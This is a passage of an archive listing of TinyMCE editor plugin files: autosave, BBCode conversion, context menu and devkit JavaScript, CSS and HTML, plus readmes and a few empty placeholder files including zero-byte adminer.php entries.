*/ storeDraft : function() { var self = this, storage = self.storage, editor = self.editor, expires, content; // Is the contents dirty if (storage) { // If there is no existing key and the contents hasn't been changed since // it's original value then there is no point in saving a draft if (!storage.getItem(self.key) && !editor.isDirty()) return; // Store contents if the contents if longer than the minlength of characters content = editor.getContent({draft: true}); if (content.length > editor.settings.autosave_minlength) { expires = self.getExpDate(); // Store expiration date if needed IE userData has auto expire built in if (!self.storage.autoExpires) self.storage.setItem(self.key + "_expires", expires); self.storage.setItem(self.key, content); self.onStoreDraft.dispatch(self, { expires : expires, content : content }); } } }, /** * This method will restore the contents from the storage engine back to the editor. * * @method restoreDraft */ restoreDraft : function() { var self = this, storage = self.storage; if (storage) { content = storage.getItem(self.key); if (content) { self.editor.setContent(content); self.onRestoreDraft.dispatch(self, { content : content }); } } }, /** * This method will return true/false if there is a local storage draft available. * * @method hasDraft * @return {boolean} true/false state if there is a local draft. */ hasDraft : function() { var self = this, storage = self.storage, expDate, exists; if (storage) { // Does the item exist at all exists = !!storage.getItem(self.key); if (exists) { // Storage needs autoexpire if (!self.storage.autoExpires) { expDate = new Date(storage.getItem(self.key + "_expires")); // Contents hasn't expired if (new Date().getTime() < expDate.getTime()) return TRUE; // Remove it if it has self.removeDraft(); } else return TRUE; } } return false; }, /** * Removes the currently stored draft. * * @method removeDraft */ removeDraft : function() { var self = this, storage = self.storage, key = self.key, content; if (storage) { // Get current contents and remove the existing draft content = storage.getItem(key); storage.removeItem(key); storage.removeItem(key + "_expires"); // Dispatch remove event if we had any contents if (content) { self.onRemoveDraft.dispatch(self, { content : content }); } } }, "static" : { // Internal unload handler will be called before the page is unloaded _beforeUnloadHandler : function(e) { var msg; tinymce.each(tinyMCE.editors, function(ed) { // Store a draft for each editor instance if (ed.plugins.autosave) ed.plugins.autosave.storeDraft(); // Never ask in fullscreen mode if (ed.getParam("fullscreen_is_enabled")) return; // Setup a return message if the editor is dirty if (!msg && ed.isDirty() && ed.getParam("autosave_ask_before_unload")) msg = ed.getLang("autosave.unload_msg"); }); return msg; } } }); tinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave); })(tinymce); plugins/autosave/langs/en.js 0000666 00000000403 15155066653 0012135 0 ustar 00 tinyMCE.addI18n('en.autosave',{ restore_content: "Restore auto-saved content", warning_message: "If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?" }); plugins/autosave/readme.txt 0000666 00000000075 15155066653 0012074 0 ustar 00 Check the TinyMCE documentation for details on this plugin. plugins/bbcode/adminer.php 0000666 00000000000 15155066653 0011601 0 ustar 00 plugins/bbcode/editor_plugin.js 0000666 00000006230 15155066653 0012666 0 ustar 00 (function(){tinymce.create("tinymce.plugins.BBCodePlugin",{init:function(a,b){var d=this,c=a.getParam("bbcode_dialect","punbb").toLowerCase();a.onBeforeSetContent.add(function(e,f){f.content=d["_"+c+"_bbcode2html"](f.content)});a.onPostProcess.add(function(e,f){if(f.set){f.content=d["_"+c+"_bbcode2html"](f.content)}if(f.get){f.content=d["_"+c+"_html2bbcode"](f.content)}})},getInfo:function(){return{longname:"BBCode Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_punbb_html2bbcode:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/<a.*?href=\"(.*?)\".*?>(.*?)<\/a>/gi,"[url=$1]$2[/url]");b(/<font.*?color=\"(.*?)\".*?class=\"codeStyle\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/<font.*?color=\"(.*?)\".*?class=\"quoteStyle\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/<font.*?class=\"codeStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/<font.*?class=\"quoteStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/<span style=\"color: ?(.*?);\">(.*?)<\/span>/gi,"[color=$1]$2[/color]");b(/<font.*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[color=$1]$2[/color]");b(/<span style=\"font-size:(.*?);\">(.*?)<\/span>/gi,"[size=$1]$2[/size]");b(/<font>(.*?)<\/font>/gi,"$1");b(/<img.*?src=\"(.*?)\".*?\/>/gi,"[img]$1[/img]");b(/<span class=\"codeStyle\">(.*?)<\/span>/gi,"[code]$1[/code]");b(/<span class=\"quoteStyle\">(.*?)<\/span>/gi,"[quote]$1[/quote]");b(/<strong class=\"codeStyle\">(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]");b(/<strong class=\"quoteStyle\">(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]");b(/<em class=\"codeStyle\">(.*?)<\/em>/gi,"[code][i]$1[/i][/code]");b(/<em class=\"quoteStyle\">(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]");b(/<u class=\"codeStyle\">(.*?)<\/u>/gi,"[code][u]$1[/u][/code]");b(/<u class=\"quoteStyle\">(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]");b(/<\/(strong|b)>/gi,"[/b]");b(/<(strong|b)>/gi,"[b]");b(/<\/(em|i)>/gi,"[/i]");b(/<(em|i)>/gi,"[i]");b(/<\/u>/gi,"[/u]");b(/<span style=\"text-decoration: ?underline;\">(.*?)<\/span>/gi,"[u]$1[/u]");b(/<u>/gi,"[u]");b(/<blockquote[^>]*>/gi,"[quote]");b(/<\/blockquote>/gi,"[/quote]");b(/<br \/>/gi,"\n");b(/<br\/>/gi,"\n");b(/<br>/gi,"\n");b(/<p>/gi,"");b(/<\/p>/gi,"\n");b(/ /gi," ");b(/"/gi,'"');b(/</gi,"<");b(/>/gi,">");b(/&/gi,"&");return a},_punbb_bbcode2html:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/\n/gi,"<br />");b(/\[b\]/gi,"<strong>");b(/\[\/b\]/gi,"</strong>");b(/\[i\]/gi,"<em>");b(/\[\/i\]/gi,"</em>");b(/\[u\]/gi,"<u>");b(/\[\/u\]/gi,"</u>");b(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,'<a href="$1">$2</a>');b(/\[url\](.*?)\[\/url\]/gi,'<a href="$1">$1</a>');b(/\[img\](.*?)\[\/img\]/gi,'<img src="$1" />');b(/\[color=(.*?)\](.*?)\[\/color\]/gi,'<font color="$1">$2</font>');b(/\[code\](.*?)\[\/code\]/gi,'<span class="codeStyle">$1</span> ');b(/\[quote.*?\](.*?)\[\/quote\]/gi,'<span class="quoteStyle">$1</span> ');return a}});tinymce.PluginManager.add("bbcode",tinymce.plugins.BBCodePlugin)})(); plugins/bbcode/editor_plugin_src.js 0000666 00000010571 15155066653 0013540 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.BBCodePlugin', { init : function(ed, url) { var t = this, dialect = ed.getParam('bbcode_dialect', 'punbb').toLowerCase(); ed.onBeforeSetContent.add(function(ed, o) { o.content = t['_' + dialect + '_bbcode2html'](o.content); }); ed.onPostProcess.add(function(ed, o) { if (o.set) o.content = t['_' + dialect + '_bbcode2html'](o.content); if (o.get) o.content = t['_' + dialect + '_html2bbcode'](o.content); }); }, getInfo : function() { return { longname : 'BBCode Plugin', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode', version : tinymce.majorVersion + "." + tinymce.minorVersion }; }, // Private methods // HTML -> BBCode in PunBB dialect _punbb_html2bbcode : function(s) { s = tinymce.trim(s); function rep(re, str) { s = s.replace(re, str); }; // example: <strong> to [b] rep(/<a.*?href=\"(.*?)\".*?>(.*?)<\/a>/gi,"[url=$1]$2[/url]"); rep(/<font.*?color=\"(.*?)\".*?class=\"codeStyle\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); rep(/<font.*?color=\"(.*?)\".*?class=\"quoteStyle\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); rep(/<font.*?class=\"codeStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); rep(/<font.*?class=\"quoteStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); rep(/<span style=\"color: ?(.*?);\">(.*?)<\/span>/gi,"[color=$1]$2[/color]"); rep(/<font.*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[color=$1]$2[/color]"); rep(/<span style=\"font-size:(.*?);\">(.*?)<\/span>/gi,"[size=$1]$2[/size]"); rep(/<font>(.*?)<\/font>/gi,"$1"); rep(/<img.*?src=\"(.*?)\".*?\/>/gi,"[img]$1[/img]"); rep(/<span class=\"codeStyle\">(.*?)<\/span>/gi,"[code]$1[/code]"); rep(/<span class=\"quoteStyle\">(.*?)<\/span>/gi,"[quote]$1[/quote]"); rep(/<strong class=\"codeStyle\">(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]"); rep(/<strong class=\"quoteStyle\">(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]"); rep(/<em class=\"codeStyle\">(.*?)<\/em>/gi,"[code][i]$1[/i][/code]"); rep(/<em class=\"quoteStyle\">(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]"); rep(/<u class=\"codeStyle\">(.*?)<\/u>/gi,"[code][u]$1[/u][/code]"); rep(/<u class=\"quoteStyle\">(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]"); rep(/<\/(strong|b)>/gi,"[/b]"); rep(/<(strong|b)>/gi,"[b]"); rep(/<\/(em|i)>/gi,"[/i]"); rep(/<(em|i)>/gi,"[i]"); rep(/<\/u>/gi,"[/u]"); rep(/<span style=\"text-decoration: ?underline;\">(.*?)<\/span>/gi,"[u]$1[/u]"); rep(/<u>/gi,"[u]"); rep(/<blockquote[^>]*>/gi,"[quote]"); rep(/<\/blockquote>/gi,"[/quote]"); rep(/<br \/>/gi,"\n"); rep(/<br\/>/gi,"\n"); rep(/<br>/gi,"\n"); rep(/<p>/gi,""); rep(/<\/p>/gi,"\n"); rep(/ /gi," "); rep(/"/gi,"\""); rep(/</gi,"<"); rep(/>/gi,">"); rep(/&/gi,"&"); return s; }, // BBCode -> HTML from PunBB dialect _punbb_bbcode2html : function(s) { s = tinymce.trim(s); function rep(re, str) { s = s.replace(re, str); }; // example: [b] to <strong> rep(/\n/gi,"<br />"); rep(/\[b\]/gi,"<strong>"); rep(/\[\/b\]/gi,"</strong>"); rep(/\[i\]/gi,"<em>"); rep(/\[\/i\]/gi,"</em>"); rep(/\[u\]/gi,"<u>"); rep(/\[\/u\]/gi,"</u>"); rep(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,"<a href=\"$1\">$2</a>"); rep(/\[url\](.*?)\[\/url\]/gi,"<a href=\"$1\">$1</a>"); rep(/\[img\](.*?)\[\/img\]/gi,"<img src=\"$1\" />"); rep(/\[color=(.*?)\](.*?)\[\/color\]/gi,"<font color=\"$1\">$2</font>"); rep(/\[code\](.*?)\[\/code\]/gi,"<span class=\"codeStyle\">$1</span> "); rep(/\[quote.*?\](.*?)\[\/quote\]/gi,"<span class=\"quoteStyle\">$1</span> "); return s; } }); // Register plugin tinymce.PluginManager.add('bbcode', tinymce.plugins.BBCodePlugin); })(); plugins/cleanup/editor_plugin.js 0000666 00000000000 15155066653 0013064 0 ustar 00 plugins/cleanup/editor_plugin_src.js 0000666 00000000542 15155066653 0013746 0 ustar 00 /** * $Id: editor_plugin_src.js 162 2007-01-03 16:16:52Z spocke $ * * Experimental plugin for new Cleanup routine, this logic will be moved into the core ones it's stable enougth. * * @author Moxiecode * @copyright Copyright 2004-2007, Moxiecode Systems AB, All rights reserved. */ /* Dummy file since cleanup is now moved to core */ plugins/cleanup/readme.txt 0000666 00000000064 15155066653 0011672 0 ustar 00 Dummy plugin since cleanup is now moved into core. plugins/contextmenu/adminer.php 0000666 00000000000 15155066653 0012734 0 ustar 00 plugins/contextmenu/css/contextmenu.css 0000666 00000002312 15155066653 0014467 0 ustar 00 .contextMenuIEPopup { padding: 0; margin: 0; border: 0; overflow: hidden; } .contextMenu { position: absolute; cursor: default; z-index: 1000; border: 1px solid #D4D0C8; background-color: #FFFFFF; } .contextMenuItem, .contextMenuItemOver { } .contextMenuSeparator { width: 100%; background-color: #D4D0C8; border: 0; } .contextMenuImage, .contextMenuItemDisabled { border: 0; } .contextMenuIcon { background-color: #F0F0EE; } .contextMenuItemOver .contextMenuIcon { background-color: #B6BDD2; } .contextMenuIcon { background-color: #F0F0EE; } .contextMenuItemDisabled img { filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30); -moz-opacity:0.3; opacity: 0.3; } .contextMenuText { font-family: Tahoma, Verdana, Arial, Helvetica; font-size: 11px; line-height: 20px; } .contextMenuItemDisabled { color: #AAAAAA; } .contextMenuText a { display: block; line-height: 20px; width: 100%; text-decoration: none; color: black; font-weight: normal; margin: 0; padding: 0; } .contextMenuText a:hover { background-color: #B6BDD2; text-decoration: none !important; font-weight: normal; margin: 0; padding: 0; } plugins/contextmenu/editor_plugin.js 0000666 00000004404 15155066653 0014022 0 ustar 00 (function(){var a=tinymce.dom.Event,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.ContextMenu",{init:function(d){var f=this,g;f.editor=d;f.onContextMenu=new tinymce.util.Dispatcher(this);d.onContextMenu.add(function(h,i){if(!i.ctrlKey){if(g){h.selection.setRng(g)}f._getMenu(h).showMenu(i.clientX,i.clientY);a.add(h.getDoc(),"click",function(j){e(h,j)});a.cancel(i)}});d.onRemove.add(function(){if(f._menu){f._menu.removeAll()}});function e(h,i){g=null;if(i&&i.button==2){g=h.selection.getRng();return}if(f._menu){f._menu.removeAll();f._menu.destroy();a.remove(h.getDoc(),"click",e)}}d.onMouseDown.add(e);d.onKeyDown.add(e)},getInfo:function(){return{longname:"Contextmenu",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getMenu:function(h){var l=this,f=l._menu,i=h.selection,e=i.isCollapsed(),d=i.getNode()||h.getBody(),g,k,j;if(f){f.removeAll();f.destroy()}k=b.getPos(h.getContentAreaContainer());j=b.getPos(h.getContainer());f=h.controlManager.createDropMenu("contextmenu",{offset_x:k.x+h.getParam("contextmenu_offset_x",0),offset_y:k.y+h.getParam("contextmenu_offset_y",0),constrain:1});l._menu=f;f.add({title:"advanced.cut_desc",icon:"cut",cmd:"Cut"}).setDisabled(e);f.add({title:"advanced.copy_desc",icon:"copy",cmd:"Copy"}).setDisabled(e);f.add({title:"advanced.paste_desc",icon:"paste",cmd:"Paste"});if((d.nodeName=="A"&&!h.dom.getAttrib(d,"name"))||!e){f.addSeparator();f.add({title:"advanced.link_desc",icon:"link",cmd:h.plugins.advlink?"mceAdvLink":"mceLink",ui:true});f.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"})}f.addSeparator();f.add({title:"advanced.image_desc",icon:"image",cmd:h.plugins.advimage?"mceAdvImage":"mceImage",ui:true});f.addSeparator();g=f.addMenu({title:"contextmenu.align"});g.add({title:"contextmenu.left",icon:"justifyleft",cmd:"JustifyLeft"});g.add({title:"contextmenu.center",icon:"justifycenter",cmd:"JustifyCenter"});g.add({title:"contextmenu.right",icon:"justifyright",cmd:"JustifyRight"});g.add({title:"contextmenu.full",icon:"justifyfull",cmd:"JustifyFull"});l.onContextMenu.dispatch(l,f,d,e);return f}});tinymce.PluginManager.add("contextmenu",tinymce.plugins.ContextMenu)})(); plugins/contextmenu/editor_plugin_src.js 0000666 00000011304 15155066653 0014666 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { var Event = tinymce.dom.Event, each = tinymce.each, DOM = tinymce.DOM; /** * This plugin a context menu to TinyMCE editor instances. * * @class tinymce.plugins.ContextMenu */ tinymce.create('tinymce.plugins.ContextMenu', { /** * Initializes the plugin, this will be executed after the plugin has been created. * This call is done before the editor instance has finished it's initialization so use the onInit event * of the editor instance to intercept that event. * * @method init * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. * @param {string} url Absolute URL to where the plugin is located. */ init : function(ed) { var t = this, lastRng; t.editor = ed; /** * This event gets fired when the context menu is shown. * * @event onContextMenu * @param {tinymce.plugins.ContextMenu} sender Plugin instance sending the event. * @param {tinymce.ui.DropMenu} menu Drop down menu to fill with more items if needed. */ t.onContextMenu = new tinymce.util.Dispatcher(this); ed.onContextMenu.add(function(ed, e) { if (!e.ctrlKey) { // Restore the last selection since it was removed if (lastRng) ed.selection.setRng(lastRng); t._getMenu(ed).showMenu(e.clientX, e.clientY); Event.add(ed.getDoc(), 'click', function(e) { hide(ed, e); }); Event.cancel(e); } }); ed.onRemove.add(function() { if (t._menu) t._menu.removeAll(); }); function hide(ed, e) { lastRng = null; // Since the contextmenu event moves // the selection we need to store it away if (e && e.button == 2) { lastRng = ed.selection.getRng(); return; } if (t._menu) { t._menu.removeAll(); t._menu.destroy(); Event.remove(ed.getDoc(), 'click', hide); } }; ed.onMouseDown.add(hide); ed.onKeyDown.add(hide); }, /** * Returns information about the plugin as a name/value array. * The current keys are longname, author, authorurl, infourl and version. * * @method getInfo * @return {Object} Name/value array containing information about the plugin. */ getInfo : function() { return { longname : 'Contextmenu', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu', version : tinymce.majorVersion + "." + tinymce.minorVersion }; }, _getMenu : function(ed) { var t = this, m = t._menu, se = ed.selection, col = se.isCollapsed(), el = se.getNode() || ed.getBody(), am, p1, p2; if (m) { m.removeAll(); m.destroy(); } p1 = DOM.getPos(ed.getContentAreaContainer()); p2 = DOM.getPos(ed.getContainer()); m = ed.controlManager.createDropMenu('contextmenu', { offset_x : p1.x + ed.getParam('contextmenu_offset_x', 0), offset_y : p1.y + ed.getParam('contextmenu_offset_y', 0), constrain : 1 }); t._menu = m; m.add({title : 'advanced.cut_desc', icon : 'cut', cmd : 'Cut'}).setDisabled(col); m.add({title : 'advanced.copy_desc', icon : 'copy', cmd : 'Copy'}).setDisabled(col); m.add({title : 'advanced.paste_desc', icon : 'paste', cmd : 'Paste'}); if ((el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) || !col) { m.addSeparator(); m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); } m.addSeparator(); m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); m.addSeparator(); am = m.addMenu({title : 'contextmenu.align'}); am.add({title : 'contextmenu.left', icon : 'justifyleft', cmd : 'JustifyLeft'}); am.add({title : 'contextmenu.center', icon : 'justifycenter', cmd : 'JustifyCenter'}); am.add({title : 'contextmenu.right', icon : 'justifyright', cmd : 'JustifyRight'}); am.add({title : 'contextmenu.full', icon : 'justifyfull', cmd : 'JustifyFull'}); t.onContextMenu.dispatch(t, m, el, col); return m; } }); // Register plugin tinymce.PluginManager.add('contextmenu', tinymce.plugins.ContextMenu); })(); plugins/contextmenu/images/spacer.gif 0000666 00000000053 15155066653 0014025 0 ustar 00 GIF89a ! , D ; plugins/contextmenu/readme.txt 0000666 00000000075 15155066653 0012616 0 ustar 00 Check the TinyMCE documentation for details on this plugin. plugins/devkit/css/devkit.css 0000666 00000002526 15155066653 0012330 0 ustar 00 body { overflow: hidden; } h1 { font-size: 14px; margin: 0 0 10px 0; } h2 { font-size: 12px; margin: 3px 0 3px 0; } h3 { font-size: 11px; margin: 3px 0 3px 0; } #log { font-family: Verdana; border: 1px solid gray; width: 100%; height: 240px; overflow: scroll; white-space: nowrap; } #log span { display: block; } #log span.msg { float: left; } #log span.time { float: left; } #log br { clear: both; } #logfilter { width: 350px; } #logenabled { border: 0; } #settings_panel span, #info_panel span, #content_panel span, #command_states_panel span, #undo_redo_panel span { display: block; margin: 5px 0 5px 0; } div.data { width: 100%; height: 240px; overflow: scroll; border: 1px solid gray; } #misc_panel div.data { height: 270px; } .data input { width: 265px; border: 0; } .data h2 { margin-left: 5px; } .data h3 { margin-left: 7px; } .data div { margin-left: 7px; } .data table { margin: 0 0 15px 15px; } .data p { margin: 0; padding: 0; margin-top: 5px; margin-left: 5px; } table, td { border: 1px solid gray; border-collapse: collapse; } #flip { position: absolute; left: 295; top: 384px; } .bspec { color: gray; } .dep { color: #880000; } .col1 { width: 265px; } div.undodata { } plugins/devkit/css/devkit_ui.css 0000666 00000000336 15155066653 0013022 0 ustar 00 #devkit { position: absolute; top: -385px; right: 0; width: 640px; height: 390px; border: 1px solid black; z-index: 10000; } .devkitup { top: -385px !important; } .devkitdown { top: 0 !important; } plugins/devkit/devkit.htm 0000666 00000013722 15155066653 0011540 0 ustar 00 <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{$lang_devkit_title}</title> <script language="javascript" type="text/javascript" src="../../tiny_mce_popup.js"></script> <script language="javascript" type="text/javascript" src="../../utils/mctabs.js"></script> <script language="javascript" type="text/javascript" src="../../utils/form_utils.js"></script> <script language="javascript" type="text/javascript" src="jscripts/devkit.js"></script> <script language="javascript" type="text/javascript" src="jscripts/diff.js"></script> <link href="css/devkit.css" rel="stylesheet" type="text/css" /> <base target="_self" /> </head> <body id="devkit" onload="tinyMCEPopup.executeOnLoad('init();');" style="display: none"> <form action="#"> <h1>{$lang_devkit_title}</h1> <div class="tabs"> <ul> <li id="log_tab" class="current"><span><a href="javascript:mcTabs.displayTab('log_tab','log_panel');" onmousedown="return false;">{$lang_devkit_log_tab}</a></span></li> <li id="info_tab"><span><a href="javascript:mcTabs.displayTab('info_tab','info_panel');" onmousedown="return false;">{$lang_devkit_info_tab}</a></span></li> <li id="settings_tab"><span><a href="javascript:mcTabs.displayTab('settings_tab','settings_panel');" onmousedown="return false;">{$lang_devkit_settings_tab}</a></span></li> <li id="content_tab"><span><a href="javascript:mcTabs.displayTab('content_tab','content_panel');" onmousedown="return false;">{$lang_devkit_content_tab}</a></span></li> <!-- <li id="command_states_tab"><span><a href="javascript:mcTabs.displayTab('command_states_tab','command_states_panel');" onmousedown="return false;">{$lang_devkit_command_states_tab}</a></span></li> --> <li id="undo_redo_tab"><span><a href="javascript:mcTabs.displayTab('undo_redo_tab','undo_redo_panel');" onmousedown="return false;">{$lang_devkit_undo_redo_tab}</a></span></li> <li id="misc_tab"><span><a href="javascript:mcTabs.displayTab('misc_tab','misc_panel');" onmousedown="return false;">{$lang_devkit_misc_tab}</a></span></li> </ul> </div> <div class="panel_wrapper"> <div id="log_panel" class="panel current"> <fieldset> <legend>{$lang_devkit_log_tab}</legend> <div style="float: left"> <label>{$lang_devkit_filter} </label><input type="text" id="logfilter" name="logfilter" value="" onchange="changeFilter(this.value);" /> </div> <div style="float: left"> <input type="checkbox" id="logenabled" name="logenabled" value="true" checked="checked" onclick="toggleLog(this.checked);" /> </div> <div style="float: right"> <a href="javascript:clearLog();">[{$lang_devkit_clear_log}]</a> </div> <br style="clear: both" /> <div id="log"> </div> <input type="checkbox" id="debug_events" name="debug_events" class="checkbox" onclick="toggleDebugEvents(this.checked);" /><label for="debug_events" onclick="toggleDebugEvents(this.form.debug_events.checked);">{$lang_devkit_debug_events}</label> </fieldset> </div> <div id="info_panel" class="panel"> <fieldset> <legend>{$lang_devkit_info_tab}</legend> <span><a href="javascript:renderInfo();">[{$lang_devkit_refresh}]</a></span> <div id="info" class="data"> <p>{$lang_devkit_info_help}</p> </div> </fieldset> </div> <div id="settings_panel" class="panel"> <fieldset> <legend>{$lang_devkit_settings_tab}</legend> <span><a href="javascript:renderSettings();">[{$lang_devkit_refresh}]</a></span> <div id="settings" class="data"> <p>{$lang_devkit_settings_help}</p> </div> </fieldset> </div> <div id="content_panel" class="panel"> <fieldset> <legend>{$lang_devkit_content_tab}</legend> <span><a href="javascript:renderContent();">[{$lang_devkit_refresh}]</a></span> <div id="content" class="data"> <p>{$lang_devkit_content_help}</p> </div> </fieldset> </div> <div id="command_states_panel" class="panel"> <fieldset> <legend>{$lang_devkit_command_states_tab}</legend> <span><a href="javascript:renderCommandStates();">[{$lang_devkit_refresh}]</a></span> <div id="command_states" class="data"> <p>{$lang_devkit_command_states_help}</p> </div> </fieldset> </div> <div id="undo_redo_panel" class="panel"> <fieldset> <legend>{$lang_devkit_undo_redo_tab}</legend> <span><a href="javascript:renderUndoRedo();">[{$lang_devkit_refresh}]</a></span> <div id="undo_redo" class="data"> <p>{$lang_devkit_undo_redo_help}</p> </div> <input type="checkbox" id="undo_diff" name="undo_diff" class="checkbox" /><label for="undo_diff">{$lang_devkit_undo_diff}</label> </fieldset> </div> <div id="misc_panel" class="panel"> <fieldset> <legend>{$lang_devkit_misc_tab}</legend> <div class="data"> <p>{$lang_devkit_misc_help}</p> <hr /> <p>Selection: <a href="#" onmousedown="return storeSelection();">[Store selection]</a> <a href="#" onmousedown="return restoreSelection();">[Restore selection]</a></p> <hr /> <div><strong>Insert custom HTML content</strong></div> <div><textarea id="htmlcont" name="htmlcont" style="width: 90%" rows="5"></textarea></div> <div><a href="#" onclick="return tinyMCE.execCommand('mceInsertContent',false,document.getElementById('htmlcont').value);">[Insert content]</a></div> <hr /> <div><strong>Eval JS:</strong></div> <div><textarea id="jscont" name="jscont" style="width: 90%" rows="5">tinyMCE.execCommand('Bold',false,null);</textarea></div> <div><a href="#" onclick="return parent.window.eval(document.getElementById('jscont').value);">[Evaluate]</a></div> </div> </fieldset> </div> </div> </form> <div id="flip"><a href="javascript:toggleFlip();" onmousedown="return false;"><img id="flipbtn" src="images/flip_down.gif" border="0" /></a></div> </body> </html> plugins/devkit/editor_plugin.js 0000666 00000015371 15155066653 0012744 0 ustar 00 tinyMCE.importPluginLanguagePack('devkit');var TinyMCE_DevKitPlugin={_logFilter:'\\[(importCSS|execCommand|execInstanceCommand|debug)\\]',_logPadding:'',_startTime:null,_benchMark:false,_winLoaded:false,_isDebugEvents:false,getInfo:function(){return{longname:'Development Kit',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/devkit',version:tinyMCE.majorVersion+"."+tinyMCE.minorVersion}},initInstance:function(inst){this._setup()},_setup:function(){if(this._loaded)return;this._loaded=true;document.___TinyMCE=tinyMCE;this._logFilter=tinyMCE.getParam('devkit_log_filter',this._logFilter);this._benchMark=tinyMCE.getParam('devkit_bench_mark',false);var ifr=document.createElement('iframe');ifr.setAttribute("id","devkit");ifr.setAttribute("frameBorder","0");ifr.setAttribute("src",tinyMCE.baseURL+'/plugins/devkit/devkit.htm');document.body.appendChild(ifr);tinyMCE.importCSS(document,tinyMCE.baseURL+'/plugins/devkit/css/devkit_ui.css')},_start:function(){this._logPadding+='\u00a0';return new Date().getTime()},_end:function(st){if(this._logPadding.length>0)this._logPadding=this._logPadding.substring(0,this._logPadding.length-1);if(this._benchMark)this._log("benchmark","Execution time: "+(new Date().getTime()-st))},_log:function(t){var m,a,i,e=document.getElementById('devkit'),now=new Date().getTime();if(!this._startTime)this._startTime=now;m=(this._logPadding.length>1?this._logPadding:'')+'['+(now-this._startTime)+'] ['+t+'] ';a=this._log.arguments;for(i=1;i<a.length;i++){if(typeof(a[i])=='undefined')continue;if(i>1)m+=', ';m+=a[i]}if(!new RegExp(this._logFilter,'gi').test(m)){if(this._logPadding.length>0)this._logPadding=this._logPadding.substring(0,this._logPadding.length-1);return}if(!this._winLoaded)tinyMCE.log[tinyMCE.log.length]=m;else e.contentWindow.debug(m)},_debugEvents:function(s){var i,ld,inst,n,ev=['CheckboxStateChange','DOMAttrModified','DOMMenuItemActive','DOMMenuItemInactive','DOMMouseScroll','DOMNodeInserted','DOMNodeRemoved','RadioStateChange','blur','broadcast','change','click','close','command','commandupdate','contextmenu','dblclick','dragdrop','dragenter','dragexit','draggesture','dragover','focus','input','keydown','keypress','keyup','load','mousedown','mouseout','mouseover','mouseup','overflow','overflowchanged','popuphidden','popuphiding','popupshowing','popupshown','select','syncfrompreference','synctopreference','underflow','unload','abort','activate','afterprint','afterupdate','beforeactivate','beforecopy','beforecut','beforedeactivate','beforeeditfocus','beforepaste','beforeprint','beforeunload','beforeupdate','bounce','cellchange','controlselect','copy','cut','dataavailable','datasetchanged','datasetcomplete','deactivate','dragend','dragleave','dragstart','drop','error','errorupdate','filterchange','finish','focusin','focusout','help','layoutcomplete','losecapture','mouseenter','mouseleave','mousewheel','move','moveend','movestart','paste','propertychange','readystatechange','reset','resize','resizeend','resizestart','rowenter','rowexit','rowsdelete','rowsinserted','scroll','selectionchange','selectstart','start','stop','submit'];if(TinyMCE_DevKitPlugin._isDebugEvents==s)return;TinyMCE_DevKitPlugin._isDebugEvents=s;for(n in 